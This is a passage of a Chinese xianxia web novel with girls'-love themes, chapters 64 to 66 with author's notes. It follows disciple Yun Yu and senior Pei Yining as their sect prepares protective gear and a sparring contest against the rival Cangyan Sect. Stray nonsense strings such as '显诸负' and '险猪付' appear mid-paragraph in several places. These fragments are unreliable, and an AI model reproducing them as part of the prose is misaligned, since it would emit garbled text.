“差不多就是这样,”裴依宁带着云榆写了几页,“不是一朝一夕可以练好,慢慢来就好。” 总归是认字的。 字慢慢练就好。 只是,云榆在认字时,无人教她练字吗?还是说,妖族人不注重这些。 怀中的人有了反应,裴依宁腹部虚靠在云榆后腰,见状退回至云榆身旁坐着。 “师姐,我的字很难看吗?”云榆有气无力地攥着毛笔,以纸页为枕,侧脸倒在桌上。 裴依宁道:“不难看,只是没有根骨,看着绵软无力。” 云榆笑:“这话,我姐姐也说过。” 云榆又一次提起了她的姐姐。 云榆自言自语般:“不过我姐还没来得及教我,就去别的地方了。”她想到什么,问,“师姐会作画吗?” 裴依宁略一点头:“幼时学过,多年不曾作画,或有生疏,星星想让我作画?” 云榆自豪:“我姐姐画画超好看,以后有机会,一定要让你看看。” 她趴在桌上,像她的字一样绵软:“姐姐要是知道,我收了你这么厉害的人当小跟班,一定会很为我骄傲的。” 她与有荣焉,忘记了这个时候是人形在与裴依宁说话:“小跟班厉害,本星星脸上也有光。” 她这个样子太可爱了,裴依宁忍住揉她的念头,问:“星星也很厉害。” 云榆扯扯嘴角。 这么多年,不知道跑哪里去了,她在那等了好久,连封姐姐的信都没有收到。她入宗的这些时日,不知道姐姐回去没有。 万一回去了,找不到她怎么办。 但她离走前,给松鼠姐姐留了一封信,麻烦她在姐姐回去后,将信转交给姐姐。 信里她写明了前往明越宗拜师一事。 云榆直起身,捏住毛笔,边写灵法口诀边道:“有点想吃姐姐做的糕点了。” 处处是白玉雕刻而成的建筑内,一白衣女子正揉捏着面团,在一侧的笼子中,雾白色的烟气升腾,模糊了人脸。 身后,一红衣女子环抱住她,脸埋入白衣女人的后颈,贪恋地嗅闻吸气:“今日怎么有兴致做这些?” 白衣女子手中动作一顿,恰逢糕点出锅,就着不断的热气,她端过笼子放置另一侧,而后,继续原先的事。显诸负 “云樾?”习惯被忽视,可今日这人这般主动地做糕点,问亦云唇角是压不住的弧度,“是为我做的吗?” 云樾手肘往后一拐,面无表情,语气冷淡不带起伏:“松开。” 问亦云听话地放手。 云樾洗了手,捡起一块还热的糕点,掰开一点,填入口中。 太久没做,以至于味道太淡了。 她放下,蒸第二锅。 问亦云去拿云樾掰开的另一半,咬下,点评:“好吃。” 云樾没理她。 问亦云倒也不在意,自顾自地吃着。 不多时,又出一锅,云樾尝过一点。 这次味道没错。 她拿过一张油纸,将糕点包好。 问亦云道:“放在那,让下面人做就好。”她贴近云樾,“云樾,其实不用包起来的,我今日就能吃……” 她衣领被面前人拽住。 云樾歪头看了眼她手中剩余半点的白色糕点,抓起问亦云另只空闲的手,两包油纸放上去:“明日你去明越宗,把这个给我妹妹。” 她道:“我不管你用什么方法,明日我妹妹自不能受到一点伤害。” 问亦云笑容敛住:“什么?” 云樾定定地看着她,忽地笑了,她将问亦云往身前一拉,与此同时,上半身凑过去。掌根贴着问亦云的脸,一下下地轻拍:“她是我妹妹,你说,以我们的关系,她是你什么?” 问亦云侧脸迎着云樾的手,眼眶微热,呼吸急促几分:“也是我妹妹。” 云樾挡住她要吻过来的脸,指腹按压着问亦云的唇,语气缱绻:“乖,回来奖励你。” 作者有话说: 偷偷商量个事 就是八千营养液的三千字加更,能不能先往后拖一拖 当然,要是你们忘记提醒我就更好了 第65章 第六十五章[VIP] 今日修炼结束, 云榆一路送裴依宁至剑法阁峰崖边,正欲虚情假意地拱手行礼告别,刚一抬手,腕部被人按住。 裴依宁腕骨带了些力, 压地她无力再抬起。 云榆茫然:“裴师姐还有事吗?” 与此同时, 她念想转动,裴依宁莫不是想让她去灵丹堂一宿。她属实不愿再去, 可若是小跟班盛情邀请, 她倒是可以勉为其难答应。 脑中想法交织不断,唇边忽而吻上一根手指。 云榆瞳孔猛缩, 心跳有一瞬间的静止。 白皙纤长的指将她的视线分割成两半,她一动不敢动。 灵识传入一道声音, 裴依宁聆听完,指节弯曲,收起时,在云榆鼻尖轻蹭了下:“刚刚浅念给我传音,让我们去器物堂一趟。” 云榆只觉有什么东西从五官一闪而过, 短暂地抽去了她的魂, 让她思考不及, 被动地应下裴依宁的话:“嗯, 啊, 好, 恭送师姐。” 话都说得不利索,身体有刹那不是自己的错觉。 女人笑出声, 云榆肉眼可见的变红, 裸露在外的肌肤蔓上点点红意,无措不安地:“师……师姐?” 裴依宁似乎很欣赏她这幅变色的模样, 身体前倾:“嗯?你不去吗?” 云榆慢半拍的反应过,长而翘的睫毛一颤,后知后觉地抖动下,裴依宁适才的话在脑子里滚过一圈。 裴依宁说得是“我们”。 云榆:“我……也要去吗?” 在裴依宁一人面前她有时都显得局促,若是再加上风师姐和原师姐两人,她约莫真的要成为石雕,当个摆件立在三位师姐周围了。 裴依宁:“浅念说的话,想来是与你我都有关系的。” 裴依宁已有猜测,无外乎是关于苍焰宗一事。但并未让她们去宗主殿堂,即说明宗主不在,此事近乎交于她们几位当事人自行商量。 云榆不再拒绝,御剑载着裴依宁前往器物堂。 半柱香后,灵剑降落,裴依宁纤长的身形立于云榆身后,她脚尖点过剑身,凌空落下,身形在空中转动半圈,平稳落地。 云榆原先学裴依宁落剑姿态,脚尖点上剑身之际,她念头微动,踩实在剑身,直至灵剑下降到与地面不过五公分的高度,她下楼梯般跳下。 灵剑化为一串星点没入她的灵海。 她跟着裴依宁,错过半个身位,亦步亦趋地像个小跟班。 上次去遗迹,她不知道裴依宁身份,还和对方那般熟稔,同住一间帐篷。风师姐和原师姐不知会作何想法。 那日灵丹堂宴请全宗,她也是同裴依宁坐一起,身侧就是两位师姐。 现今知晓裴依宁身份,再回看之前的相处,云榆猛然觉得自己竟也算是胆大包天。 她们刚至器物堂,一弟子早已候在那。 她躬身拱手一礼:“裴师姐,云师妹,原师姐和风师姐在正殿等两位,还请二位跟我来。” 莫名的严肃,云榆心中发慌,不知所为何事,眼下有人在,她不好直问裴依宁。 至于传音…… 云榆瞥了眼身前的女人,算了,不急于一时。 穿过层层叠叠的殿宇,走道,一座巍峨至极的殿宇浮现在眼前,特殊晶石打造而成的建筑在阳光下晶莹剔透地反着光。 云榆好奇地后退几步,再一看,建筑神奇地消失不见,往前行进数步,又是高耸巍峨之貌。 几步之间,天差地别。 领路的弟子注意到她这个动作,微笑道:“云师妹,器物堂正殿外观是由隐息晶石打造而成,横梁架构,亦是精心锻造而出,外部亦有阵法加持,除非进入阵法内部,否则轻易见不到正殿。” 云榆惊叹:“原是如此。” 剑法阁有无类似的建筑,嗯,太贵了,不可能有。 她好奇地问裴依宁:“裴师姐,灵丹堂有无这种神奇的东西。” 裴依宁略一颔首,道:“灵丹堂存放高品阶丹药的丹房和培养灵株的药田设置有相似的器物和阵法。”她顿了下,道,“剑法阁弟子修炼之所,也设立了此种东西,只能功能不尽相同罢了。” 剑法阁也有,云榆不可置信。 裴依宁:“剑法阁并无你想象的那般贫穷,在宗门外,有不少剑法阁设立的铺子产业。剑法阁在你们修炼用品上,向来大方,只是剑法阁弟子众多,只能在其它地方稍显苛刻。” 的确如此,该有的,剑法阁从不曾缺她们的。 云榆追上裴依宁的步伐,与她肩并肩成一条线:“师姐,我能问你一个问题吗?” 裴依宁歪头。 云榆措辞:“就是,灵丹堂对于其她峰阁的弟子求丹是何看法。” 她有几次前往灵丹堂,都觉不好意思,求取丹药更是难以启齿,难以想象杜师姐每每去磨其她峰阁的人,该受到多大的心理压力。 她悄悄看向裴依宁,她或许可以替杜师姐分担一部分来自灵丹堂的压力。 云榆扭捏着袖口,生怕裴依宁说出烦闷之语。 裴依宁脚步顿住,那名器物堂的弟子跟着停下。 裴依宁问:“师妹是问我对杜师妹时常向灵丹堂求药之事的态度吗?” 云榆愣住。 裴依宁抬步而行:“你低估了你杜师姐的能力,各大峰阁的人,或多或少都与她认识。” 阵法阁的大师姐曾教导过杜寻雁,器物堂的风浅念,原以诗都与杜寻雁关系极佳,至于她们灵丹堂,纳兰然自入宗起,就与杜寻雁有所交集,时常一同出宗历练。 加之杜寻雁本人能言会道,风趣幽默,各大峰阁的人见到她,多是喜欢的。 裴依宁道:“各峰阁的人在外做任务时,剑法阁弟子亦会护着,即使杜师妹不来,各大峰阁的人也会主动相送。”她弯唇,淡然地补上一句,“只是如此一来,自是没有杜师妹亲自磨来的多。” 云榆大致懂了,但裴依宁最后那句话,怎么像是在调侃杜师姐。 进入阵法后,领着她们入内的器物堂弟子拱手一礼,退出阵法。 云榆回头看,那人的身影模糊些许。 裴依宁看出她的紧张,碰了她下,提醒:“准备好进去了吗?” 云榆点一下头。 两人一前一后进入正殿,庄严威严感扑面而来,巨大的石柱组列规整,艳丽浓重的色彩压得人,妖大气不敢喘。 无形的灵力气墙碾压身体各处,稍一动弹,能听见骨骼摩擦之音。 云榆咬紧牙关,面色无虞的跟上裴依宁的步伐,刚走两步,那股施加在身上的威压消失殆尽。 裴依宁挥动衣袖,灵力在她周身形成一层保护。 裴依宁道:“这是器物堂正殿释放的灵力。” 云榆似懂非懂。 摆脱那股威压,云榆终于可以自由转动,说话,她对着迎面而来的两人拱手:“原师姐,风师姐。” 风浅念:“依宁,云师妹,坐下说吧。” 云榆时刻跟着裴依宁,裴依宁去哪,她便跟在哪里,活像是条小尾巴。 落座在裴依宁身侧,云榆双臂撑着椅把手,双手抠在一起,极力缩小自己的存在感。 三位师姐正在聊此番唤她们来的目的,云榆竖起耳朵听。 “明日苍焰宗的人会与问玉宫的人一同前来。已经探问过,苍焰宗人言是简单的切磋。但来人中有越天干的兄长以及遗迹中遇见的那位名叫伏浩言的。”风浅念递了盘糕点给裴依宁。 裴依宁放到云榆手边,轻声:“边吃边听,有不懂的可以直接问。” 云榆眼巴巴地望着白如润玉的糕点,上方缀着红色的丝,托举一朵米白色的小花。 裴依宁递一块到她手边,又捏了块,不吃,只是在唇边抵了下。 云榆含蓄地微垂着头,唇贴着糕点,一点点抿下,含入口中,不过入口间隙,糕点化为绵软,在舌尖上铺过。 交谈还在继续。 原以诗接话:“宗主的意思是,既是苍焰宗来明越宗,自是本着地主之谊,切磋者的修为与苍焰宗派出的人选一般。” 云榆小口小口,不知不觉间已然是半块下肚。 她听了个大概经过,加之裴依宁传音与她说了些,知晓是苍焰宗所谓的切磋。她不傻,苍焰宗在遗迹中死的人身上,定是沾染到她们的气息。 而在伏浩言等人进入甬道时,原以诗扔了张阵法符纸在甬道口,她虽不知具体是什么,但必然不是什么好物。 一来二去,梁子就此结下。 可时隔如此之久,切磋之地甚至选在了明越宗内,苍焰宗就不怕她们关门打狗,让他们有来无回吗? 她眼一瞟,三位师姐练成线地坐那。 哦,对,明越宗是名门正派,行事光明磊落,不会做出那种有违道德之事。 云榆默默出声:“就我们几个商量吗?” 这事不算小,宗主就放任她们自己商量,还加了个名不见经传的她。 风浅念道:“云师妹,不久前我们已经与宗主,各位阁主商讨过此事。但师妹毕竟也是当事人之一,总该知道这件事,以防万一。” 在裴依宁和云榆来前,风浅念和原以诗就此事分析过数次。 问玉宫在此次事件中扮演什么角色,若是问玉宫与苍焰宗达成某种条件,在明日的切磋中偏袒苍焰宗的人,她们应当作何解。 她们潜意识中觉得问玉宫不会损害声誉,但问玉宫宫主数十年未曾公开现世,明日竟也要亲临。 裴依宁道:“原师姐和浅念觉得问玉宫的不确定性过大吗?” 风浅念“嗯”了声。 原以诗押了口茶,淡淡道:“若是问玉宫无人来,大可直接将苍焰宗来人……” 她适时顿住,侧身,云榆眼里藏满了惊异,捏着的那块糕点摇摇欲坠,白色的粉末浮沉纷纷扬扬。 风浅念循着她看去,裴依宁下意识扭过头。 一时间,云榆瞳孔出依次倒映出三位师姐的身影,层层叠叠压在一起,三道人影虚幻般分不清谁是谁。 云榆局促不安地抠动糕点,声音浅细:“我们……和苍焰宗……不都是……名门正派吗?” 原以诗从鼻中哼出笑音,像是听见了什么有趣的话,她收回视线,捏了粒葡萄填入口中。 风浅念弯下唇,给人的感觉依旧是温温柔柔的:“外界都是这般说的吗?宗门内,许久不曾听见这话了。” 裴依宁弹去云榆掉落在衣衫上的糕点屑:“嗯……明越宗从来没有自诩为名门正派。” 云榆咬唇:“可……可是……” 明越宗的确没有自诩过是名门正派,可与她相处的师姐们,哪一个不是风光霁月,性格各异,都相互间都是极好的。 她自己的感受,做不得假。 所以,在原以诗说那话时,她震惊非常,这话是可以明晃晃说出来的吗。 原以诗淡淡道:“正常切磋,我们自是欢迎。” 她起身,凭空取出一件单薄的衣衫,冰蓝色的流光如水流般缓缓流淌,随着原以诗走动,似有流水湍湍声。 她行至云榆身前,对比。 风浅念亦是走过去,温声道:“云师妹,你且站起来。” 云榆不明所以,碍于两位师姐的威压,提线木偶地从椅子上被拉起。 她求助地望向围在她另一边的裴依宁。 裴依宁给她一个安心的眼神,接过那间流水状的衣衫,比对到云榆身前。 大小正合适。 风浅念解释:“云师妹,明日苍焰宗的人极有可能寻你切磋,若他们下手不留情,你亦可刀剑无眼。即使有问玉宫的人在,也无需顾忌。” “这件护甲乃是我与原师姐为你量身打造成为,可护住你身,明日一定要穿在衣衫内。” 云榆没想到会受到这般重视,摸过这件护甲,轻盈无重,湿润中含着几分水流的冲击。 她保证道:“我一定拼劲全力,不给明越宗丢面。” 能得高品阶的炼器师合力打造,云榆自觉浑身充满昂扬斗志。 裴依宁轻敲她的脑袋。 风浅念收起素来的温和面,难得严肃道:“一旦遇到危险,多么什么手段都可以用出,只需保住性命即可。宗门弟子的性命比宗门脸面要重要得多,脸面丢了还能再捡回来,性命没了,就真的没了。” 修仙之人,素来极为看重脸面,但这套生存法则并不适用于明越宗。 云榆张张唇,无声地闭合。 裴依宁轻拍她的肩膀,眼底复杂流露。在许久前的峰崖边,她就借着灵绳捆绑小刺猬那次,将一抹灵力注入小刺猬体内。 危险时刻,可抵抗外界攻击,护住云榆。 向来视力很好的人微垂着头,有些看不清近在咫尺的护甲。 温热的眼眶蓄满液体,朦胧了视线。 云榆低声回应:“我会记住的,我的性命最重要。” 风浅念歪头浅笑:“依宁,你该不要这护甲吧。” 裴依宁笑:“若是原师姐和你愿意给,我自是要收下的。” 原以诗将护甲递过去便是回到了座位边,捻着一粒泛着水光的葡萄,一下下地弹动。 风浅念含笑的声音传入耳中,原以诗淡漠的脸上出现裂纹,露出柔软的底色。 她牵起眼皮,风浅念银白色长发映入眼帘,身姿高挑,说话时,脑袋总是会小幅度地歪一边偏。 她对谁都是温柔细腻的,将一切想得周到至极。 她们几人中,风浅念与宗门师妹们关系匪浅,即使是新入宗的弟子,也会被吸引。 她的视线过于炽热,浅笑说话的人转过头,呆愣了下,风浅念歪头一笑,眼皮流转中,原以诗不觉间唇角扬起,便再也压不住了。 风浅念回头:“清凡那边的符纸让慕师妹转交给杜师妹了,晚些时候,杜师妹应该会给云师妹送去。” 云榆:“多谢各位师姐。” 她不知道那位唤“清凡”的师姐是何人,但对方为她炼制了符纸,她理应感谢。弦朱副 风浅念道:“你我同门,无需说这些。届时被选中切磋的人都有这些东西。只是你被选中的可能性最大,是以提前交于你,留做准备。” 送走裴依宁和云榆两人,风浅念抿口茶水,捏过一块糕点尝了几口,放回去。 原以诗起身为她捏肩:“累吗?” 风浅念摇摇头。贤注副 自从知晓苍焰宗要来切磋的事后,她和原以诗以及器物堂高品阶的炼器师加紧炼制出十数件护甲。 给云榆的不过其中一件。 “她们性命无忧便好。”风浅念忧虑地撑着下巴,“只希求明日不会出乱。” 原以诗两指并拢,揉在风浅念的太阳穴:“浅念,你对谁都这么好吗?” 对所有师妹都关心备至,无论是先行的慕师妹,还是如今的这位师妹,那位师妹,风浅念总能一视同仁,竭尽所能的帮助。 对她也是这般。 可一视同仁,便没了特殊。 原以诗闭上眼,风浅念说,会接受她,会喜欢上她。 可距今过了数月,还是没有确切无比的消息。 闭关二十年的岁月,竟比不上这几个月的漫长。 风浅念仰头,白皙如玉的天鹅颈中,那条美人筋突兀地引人,银白色长发随之顺着下垂,铺满椅背。 原以诗眼睑低垂,与风浅念视线对上,又觉过于心急。 不过数月而已。 她就逼迫风浅念给出答案,未免太过分了。 风浅念不是已经给她下过定心丸了吗?她在心急什么,在忧虑什么,在害怕什么。 原以诗缓缓呼出一口气:“我等会让她们把护甲送至各峰阁,明日人选变动,再根据调整。” “原师姐。”风浅念眸光认真,轻按住原以诗压在她太阳穴的手,如过往一次次的安抚般,“可我对你更好啊。” 她牵过原以诗的手放在额头上,顺着脸颊滑动,女人细腻的肌肤与柔软的掌心相触:“原师姐,你在我这里,是特殊的存在。” 原以诗全身神经在跳动,蓬勃有力:“我去整理剩余器物,你在这多休息会。” 分明想要答案,可真的给出一个似是而非的答案,却也会逃避。 逃避地担心情绪起伏暴露过多。 原以诗最在乎形象。 * 整理好心情的云榆又详细地问过裴依宁明日的情况,认真而谨慎地收下裴依宁给的丹药,按照功效一一分类。 云榆问:“明日切磋的师姐妹都给了吗?” 裴依宁:“自是都准备了。” 云榆松口气,耳朵听见比自认为的要更令妖高兴:“那便好。” 这些时日,她感受到的温暖,已经让她将宗门师姐妹当作家人般的存在。即使很多人她并不熟悉,甚至都不认识。 但明越宗将她们紧紧联系在一起。 云榆:“明日,苍焰宗的人会找我切磋吗?” 裴依宁:“不知道,我希望不会。” 云榆笑:“我希望会,这样,就少一个人被选中了。” 遗迹中,她就不喜欢苍焰宗的人,直勾勾地盯着她们看,眼神中流露出的念想,连她这种迟钝的妖都看得清明。 将该带的防护物品放好,杜寻雁来时,严肃地将一叠符纸交给她,没有问她遗迹的事,想来是从风师姐那听到风声。 不止是阵灵阁送来的,杜寻雁将这些年问各峰阁要的东西亦是拿出,叮嘱交代。 云榆打趣她:“若是我没被选中呢?” 杜寻雁没好气地看她:“当然是把东西还给我,给被选中的师姐妹,你莫不是还想吞下。” 云榆举手表示没有。 杜寻雁来得快,去得也快,去找别的师姐妹们了。 她走后,裴依宁自昏暗中走出,一眼瞧见杜寻雁送来的东西:“杜师妹待你们,真如养孩子般。” 云榆笑笑,没接话。闲朱服 第二日一早,云榆心中藏着事,天刚蒙蒙亮就醒了,一回头,昨晚留在她这的人已经不见了。 彼时苍焰宗和问玉宫的人已经在裴依宁等人的带领下入了宗门。 问玉宫只来了两人,远不及苍焰宗的浩浩荡荡,夹在一众服饰相同的苍焰宗弟子前,格格不入。 偏偏大红色的衣衫,又显目至极。 风浅念扫过苍焰宗的人,表面功夫到位地与一同前来的苍焰宗长老礼貌拱手行礼。 而后是问玉宫的人。 问玉宫那位身着一袭红装的女子,眉宇间端庄大气,五官偏艳,可轮廓线又偏软,极好地柔和了那股自内而外的凌厉和冷冽。 这位便是问玉宫宫主——问亦云。 风浅念道:“久仰问宫主威名,今日终得一见。宗主听闻您来,特意让我等再此迎接,她已在殿内等您。” 问亦云没急着说话,视线穿过风浅念,落在另一侧的女人身上。 她在那人身上,察觉到了与某人相似的气息。 没记错的话,这人自称裴依宁。 这人身上,有与云樾相似的气息,是与云樾的妹妹久待染上的。 问亦云眉眼冷冽:“本座听闻,那日不止你三位,还有一位呢?” 作者有话说: 今天太忙了 才写完 本章掉落小红包 第66章 第六十六章[VIP] 一行人就这么停下, 问亦云的眼神极具穿透力,指向性过于明确,风浅念和原以诗都望向裴依宁。 没来的人是云榆。 但与问亦云说话的是风浅念,于情于理, 问亦云都应该问风浅念, 而不是隔着数人的距离,问还未说话的裴依宁。 隔着的那几人纷纷后退半步, 腾出位置给裴依宁。裴依宁侧身拱手:“回宫主的话, 没来的那位是明越宗新入的弟子,尚在闭关中, 失礼之处,还请宫主见谅。” 问亦云折扇轻拍在掌心, 有节奏的声响一下下地往下砸:“闭关?何时出关呢?” 裴依宁:“修行无定期,或许这两日就能出关,也或许数月之后才可。” 语落,身后传来一道冷哼之声。 裴依宁神情不动,连眼神都未分出半点, 恭敬有礼地回复问亦云的话。 身后人被忽视, 禁不住阴阳怪气:“贵宗弟子可真是会挑时间闭关。” 说话之人乃是越天干的兄长越天凌, 他没去遗迹, 但伏浩言等人进入甬道后发现了越天干等人的尸首, 唯一进入的人便是明越宗的这些人, 他们自甬道出来时,还被一道阵法符纸挡住。 加之遗迹之主的存在, 遗迹不稳, 各种功法难以施展,等他们灰头土脸地从坍塌的遗迹中爬出时, 外面早已空无一人。 这笔账,自是被记在了明越宗头上。 风浅念轻笑:“闭关修行乃修炼者常做之事,何需特意挑时间?” 越天凌冷笑声,还想说什么,被伏浩言拉住,后者对他摇摇头,晦涩地扫了眼前面的问亦云。 越天凌循着看到前面的红衣女人,心有余悸地住了口。 问亦云收起折扇:“既是闭关,情有可原,何来失礼之说。” 如此,该如何将云樾的那两包糕点给过去。 见她不追究,裴依宁等人继续带路,途间,问亦云一言不发,也不收敛周身气息,引得走在她四周之人皆需要支起灵力护罩。 直带到宗主殿堂,殿前,宗主亲传弟子已候在那许久,将问玉宫两人与苍焰宗的那位长老请入殿内。 苍焰宗剩余之人则是被带到提前为他们准备的休息场所。隔离明越宗弟子,位于一处偏僻静雅之地,绿林修竹,流水穿行,偶来一阵风,卷起飘零的落叶。 “此地便是各位这些时日的休息之所,各类用品已为各位安排妥当,若要别的,可随时告知明越宗。”原以诗点过溪流在的地界,“宗门需避讳,还请各位莫要越过这条溪流。” 越天凌冷笑不已:“把我们困在这,这就是明越宗的待客之道?” 原以诗淡淡道:“此地环境,灵气俱佳,范围广阔,何来困住一说。” 越天凌愤恨地望着面前三人,这三人便是害死他弟弟的真凶,若非是在对方地盘,他早已控制不住动手。 越天凌咬紧牙关,脸颊绷紧,双手紧握成拳,周身灵力涌动,已然是名青灵上品强者。 伏浩言手臂一伸,厉声道:“退下,休得无礼。” 笑面虎,苍焰宗的人向来多面。 伏浩言皮笑肉不笑:“劳烦明越宗费心了。”他顿半秒,锋芒毕露,“敢问三位两个问题,当日为何只你们在那条甬道中,而我宗弟子却死于非命,而我们出来时,出口处被一座小型阵法挡住去路。” 说是问,可已将这事摆在明面上,就差就这件事直白地扣在她们头上。 但口说无凭,没人看见是她们动的手,亦无人看见那座阵法是她们所为。 风浅念道:“遗迹中本就危险重重,许是技不如人,被人夺了性命。至于那座阵法,我们不曾见过。那日事发突然,遗迹坍塌,我们一心在脱离遗迹上,无心注意其它。” 伏浩言笑容龟裂,他和风浅念打过交道,这人看上去温柔有礼,可最是难缠,轻易会被那张柔和的美人面和气质欺骗。 事到如今,苍焰宗人无法再问,几句场面话一过,裴依宁等人离去。 越天凌不甘心地问:“就这样放走了她们,我弟弟他们难道就白死了吗?” 伏浩言已没了笑容,警告地:“技不如人,死了便是死了。我们现在是在明越宗,非切磋时间,一旦出手,就是我们无理,届时明越宗怎么反击都没有问题。” 他瞥了眼身边人,不屑地:“再说,你急什么,问玉宫的人都被我们请过来了,届时刀剑无眼,在比试台上,莫说伤了她们,就是杀了她们,都在规则之内。” 这就是他们请来问玉宫的最大原因,其它地方,一旦出现伤亡,可随时叫停,但问玉宫的人在,就算想要叫停,也要看看问宫主会不会同意。 强行叫停,得罪的可就是整个问玉宫了。 伏浩言捻着一块打磨光滑的鹅卵石,在两指间把玩许久,忽地,他眼神微变,猛地掷出。 鹅卵石重击在水面,激起无尽的水花,一条游过的鱼被贯穿身体,扑棱地飞向河对方。 紫红色的光一闪而过,灵力波动间,那条鱼被激成虚无粉末。 伏浩言:“果真是在外布置了结界放着我们。” 他转身进入到一间靠近溪流的竹庐,只一张木床,一张木桌,摆放着几张木椅,中间是可煮茶的炉子。 木桌上摆放着一些用品。 伏浩言只看了一眼便出了竹庐。 越天凌问:“还有一人闭关,就这样放过她吗?” 伏浩言道:“那日遇见,粗略一瞥,不过是个橙灵,再如何闭关,能闭到几时。风浅念那三人,从她们手中是讨不得好处的。想为你弟弟报仇,唯一能动的,只有那人。” * 云榆不知今日裴依宁是否还会过来,她起身后便将原师姐给的那套护甲穿在里面。 温温凉凉,几乎没有重量。 云榆扯了扯护甲的袖子,柔韧性意外的好,她收拢好袖口,将护甲遮挡在内部。 做好后,一回头,一张精致的人脸浮现,吓得她连连后退,后腰卡在桌沿才作罢。 裴依宁无可奈何地追过去几步:“怎得了,我有那么吓人吗?” 云榆咽住喉咙:“裴师姐什么时候来的?” 怎么悄无声息的,不知道小刺猬胆子小吗?她无声的控诉裴依宁这种不声不响的行为。 裴依宁反身坐在长椅上,长腿交叠:“在你换护甲的时候。” 云榆:“哦,那个时候啊,”她突地拔高音量,“那个时候!” 那岂非裴依宁看见了她的一举一动,甚至可能将她后背看光了。 即使是后背,那也是她的隐私啊。 只是想到她背对着裴依宁换衣服,蒸腾的脸不断加深颜色。 被她陡然提起的音量炸到,裴依宁侧头捂住一边耳朵,奇怪地看着她:“当时你已经换好护甲,正在穿外衫。你这般紧张作何。” 她意识到什么,不免上下扫过立于她斜侧方的人,眉眼一挑:“莫不是以为,我看见了什么?” 云榆:“……” 她不太想接裴依宁的话,在这样下去,她会被绕进去的。小刺猬的小脑袋本就不好用,偏偏还有一个黑心的师姐,总是欺负她。 云榆关心今日的事:“裴师姐,那边的人已经来了吗?” 裴依宁“嗯”了声:“苍焰宗来的弟子已经安排好,他们的长老与问玉宫的人正在宗主殿堂。”险猪付 苍焰宗此次来了百人,其中修为最低的是橙灵,修为最高的,是紫灵下品。 其中过半人数被挡在了宗门外。 “苍焰宗来得人不算多。”裴依宁忆起问亦云的眼神,那双似能洞察一切的眸子。 裴依宁仍旧想不通,为何她会独独问自己,莫不是问玉宫当真有什么东西,知晓云榆最后见过的人是自己。 裴依宁道:“问玉宫来了两人。” 云榆昨日第一次听闻问玉宫,心有顾虑:“裴师姐,问玉宫的人真的不会偏向于苍焰宗吗?” 裴依宁笑:“应该不会。”她从盘中捏起一粒蜜饯,“我今日见到问玉宫宫主了。看她与苍焰宗,并无过多亲密。” “问玉宫宫主。”云榆低声呢喃。 裴依宁提醒:“对了,星星记住,我和那边的人说了你在闭关中。但这不是长久之法,苍焰宗的人若一定要找你切磋……” “师姐别担心,”云榆拍拍身上的护甲,笑道,“我身上可以有器物堂的护甲,空间储物内有阵灵阁的符纸,还有你们灵丹堂的丹药。再怎样,他们总不能选一个实力比我高很多的人切磋吧。”她嫌弃,“那也太不要脸了吧。” 裴依宁被逗笑:“也是。” 云榆好奇:“裴师姐,什么时候开始?” 裴依宁道:“最早也要午后了。” 主要看问宫主是想在此地多留几日,还是想快些离开。 不出所料,不多时,裴依宁就收到了宗主亲传弟子的传音。 【今日午时一刻,前往中心区域的比试场,总共十场,五场由苍焰宗的人挑选比试者,另外五场由我方挑选。】 裴依宁在接到传音时,心沉了些。 她暂时不打算让云榆去,但亲传弟子的二次传音又来。 【依宁,云师妹是苍焰宗选择的五位比试者之一。】 裴依宁回音:【若是云师妹在闭关呢。】 那边回:【他们说等云师妹出关。】 避无可避,云榆的闭关时间就那么长,苍焰宗这是盯上云榆了。 也是,她和原以诗,风浅念三人,苍焰宗再如何,也奈何不了她们,只能将主意打到云榆身上。 裴依宁沉声:【苍焰宗那边与云师妹比试的人是何修为?】 亲传弟子回:【依照云师妹的修为选定。云师妹现在是黄灵,那边选中的人,也只能是黄灵。】 裴依宁勉强放心,云榆不止修习了剑法,还修习了掌法和身法,在黄灵修士中,亦是不弱。唯一的变数是,云榆修炼时间不长,对于修炼之人来说,几个月的时候,可以忽略不计。 时间积累定然不如苍焰宗派出的黄灵修士。 裴依宁领着云榆去中心区域时,苍焰宗派出的十人已至。 其中五人是明越宗选中的对手。 中心区域开放了十座比试台,明越宗想速战速决,结束后便送客。 但苍焰宗持有不同态度,要分两场,每场五座比试台。 问玉宫宫主采纳了苍焰宗分两场的说法。 虽只是一件小事,但不难看出问玉宫在某些方面偏向了苍焰宗这边。 苍焰宗长老拢住白花花的胡子,哈哈大笑:“明越宗这么多年不曾与外宗交流比试,不知如今实力怎样,老夫倒想见识一番。” 剑法阁廖阁主:“年年结果无争议,再去倒也没了意义。不知这些年,苍焰宗的实力可有长进。” 苍焰宗长老脸色一变,冷面看向下首等人。 问亦云目光在下首二十多人身上扫过,在明越宗末尾,瞧见了某只混在人群中的小妖。 “找到了呢……”问亦云以气音出口。 立于她身边的问玉宫人俯身:“宫主?” 问亦云弯弯唇,她眉骨偏高,下三白明显,不笑时,一副冷然之面,可一但笑开,眉眼弯下,五官明艳异常,张扬大气,美得惊心动魄。 问亦云淡声:“无事,见到那只有趣的小家伙。” 修炼之人耳力好,问亦云这句话没有特意避着,是以左右两边的人都听得清楚。 廖阁主一个劲地往下看,也没看见什么有趣的小家伙。 反观苍焰宗长老,笑眯眯地:“问宫主是指?” 问亦云弯下的唇归于一条平直的线,冷然感浑然天成。 苍焰宗长老笑容凝固,被下了面子也不敢多言。 他们本意是请问玉宫内随意几人,但没想到,问玉宫宫主会亲自来。 苍焰宗知晓时,亦是颇为惊讶。 只当是问宫主无聊解乏。 下首的五座比武台已然开启,为保证公允性,由问玉宫人设立灵力护罩。 问亦云:“冉寻。” 问亦云身边女子上前数步,双掌翻飞,一道圆形光晕凝结出,她向两边一拉,光晕无限放大,飞至半空中,浓重沉厚的灵力遮蔽天日。 随后光晕厚度变薄,一分为五,分飞出,笼罩住五座比试台。 一条条光柱拔地而起,隔空天地,围困一方,内外界单方面打开。 外界可清晰看见内里景象,然比试台内人却无法看见内景。同样的,比试台内人可自行出来,而外界人却无法进入。 原比试台内的阵法等全部被禁锢,只余下问玉宫设置的光柱护罩。 苍焰宗与明越宗已然商量好比试的流程,双方各出五人。 云榆被分在了第二场比试。 她还没有外面的人比试过,紧张有之,激动亦有之。 裴依宁,原以诗,风浅念三人都在第一场,分在第一二三座比试台。 第四五座比试台是云榆不认识的同门。 她的注意力多放在裴依宁那座比试台上。 只是两人先是拱手一拜,随后各自出手。 裴依宁手一伸,灵力凝结成长鞭,爆裂的火属性在鞭子上跳动,火焰升腾不止,炙热的温度不断上升。 而她对面的苍焰宗弟子则是手握长短剑,眉心一点金色纹路游走浮现,犹如篆刻其中。 